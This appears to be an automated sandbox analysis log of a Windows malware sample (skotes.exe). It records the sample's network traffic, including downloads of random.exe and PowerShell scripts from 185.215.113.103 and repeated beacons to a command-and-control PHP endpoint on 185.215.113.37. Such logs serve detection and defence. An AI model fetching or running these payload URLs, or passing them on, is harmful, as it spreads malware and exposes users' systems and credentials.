Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D8BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

8_2_00D8BE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FzTot36CsvZZWwK&MD=aUVBR8F3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FzTot36CsvZZWwK&MD=aUVBR8F3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1Host: youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1Host: www.youtube.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=8eeyt93UQAA
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKCjSWa8TD5HR0ssoNSHmv1DlGbxavvv4f4_vreCQV6o4JdgbhTns13WqVLfraA3idGD1YqVFdL1d29hUkKmBRQxeBB8OW5ZEZvDIDLLC0_H7OAK-03clOTMdE15SKgAxlKa5Za-otUDEb42n7phqLA20ygc_Y63/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_9_1_1.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1Host: youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=8eeyt93UQAA; GPS=1; VISITOR_INFO1_LIVE=YyP4m5SjozE; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJg%3D%3D
Source: global traffic	HTTP traffic detected: GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1Host: www.youtube.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=8eeyt93UQAA; GPS=1; VISITOR_INFO1_LIVE=YyP4m5SjozE; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJg%3D%3D
Source: global traffic	HTTP traffic detected: GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1Host: chrome.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1940882779&timestamp=1727564560082 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-2097603244&timestamp=1727564560305 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=pGvgU9m2cL1RRs7BfZ3bB0EsafGiNQdduEUb5Gw00w6MF1INqfeOvAORFJ_hTW7r4LPqS_04bQEDiS7m-YhQ5Uah-HMGHW-N38nGORIMuXBUJ0HHdmT9t3Oe9iaAfRHvFr-aJZdJCNmJ5Z3coJsNxx_GOITPPKLBHQsW3kJENmsAPOCGQQ
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMTIf-None-Match: "1c2200-62335e26d596b"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/ko.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/so.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMTIf-None-Match: "1c2200-62335e26d596b"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 28 Sep 2024 23:02:30 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeDZdj9AvDY4EMH_O_8ncdZafRY9kmEbLZG22UgF6atMCctCBnPZmZDquMcMXDkJt8PvlTgrACross-Origin-Resource-Policy: cross-originContent-Security-Policy: script-src 'report-sample' 'nonce-tpczWoM_iv3LnIdlah_3kw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportCross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 303 See OtherContent-Type: application/binaryX-Content-Type-Options: nosniffCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 28 Sep 2024 23:02:29 GMTLocation: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=enX-Frame-Options: SAMEORIGINContent-Security-Policy: require-trusted-types-for 'script'Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionVary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionReport-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]}Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main"P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info."Server: ESFContent-Length: 0X-XSS-Protection: 0Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeDZdj9AvDY4EMH_O_8ncdZafRY9kmEbLZG22UgF6atMCctCBnPZmZDquMcMXDkJt8PvlTgrA equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeDZdj9AvDY4EMH_O_8ncdZafRY9kmEbLZG22UgF6atMCctCBnPZmZDquMcMXDkJt8PvlTgrA equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: chrome.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 519sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"Content-Type: application/x-www-form-urlencoded;charset=UTF-8sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"X-Goog-AuthUser: 0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://accounts.google.comX-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 8a145ab7b3.exe, 0000000A.00000002.2065676534.0000000001A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215
Source: skotes.exe, 00000008.00000002.2697000883.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe.0
Source: skotes.exe, 00000008.00000002.2697000883.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe395d7
Source: skotes.exe, 00000008.00000002.2697000883.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe395d7fP
Source: skotes.exe, 00000008.00000002.2697000883.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exeC:
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/test/ko.ps1
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/test/so.ps1
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/test/so.ps1f(
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/test/so.ps1t
Source: 8a145ab7b3.exe, 0000000A.00000002.2065676534.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, cee706a53f.exe, 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: skotes.exe, 00000013.00000002.2428473626.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: skotes.exe, 00000013.00000002.2428473626.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/4
Source: cee706a53f.exe, 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/EE
Source: cee706a53f.exe, 0000000B.00000002.2115108597.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Microsoft
Source: cee706a53f.exe, 0000000B.00000002.2115108597.0000000001340000.00000004.00000020.00020000.00000000.sdmp, cee706a53f.exe, 0000000B.00000002.2115108597.0000000001355000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.2428473626.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 8a145ab7b3.exe, 0000000A.00000002.2065676534.0000000001A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5
Source: cee706a53f.exe, 0000000B.00000002.2115108597.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
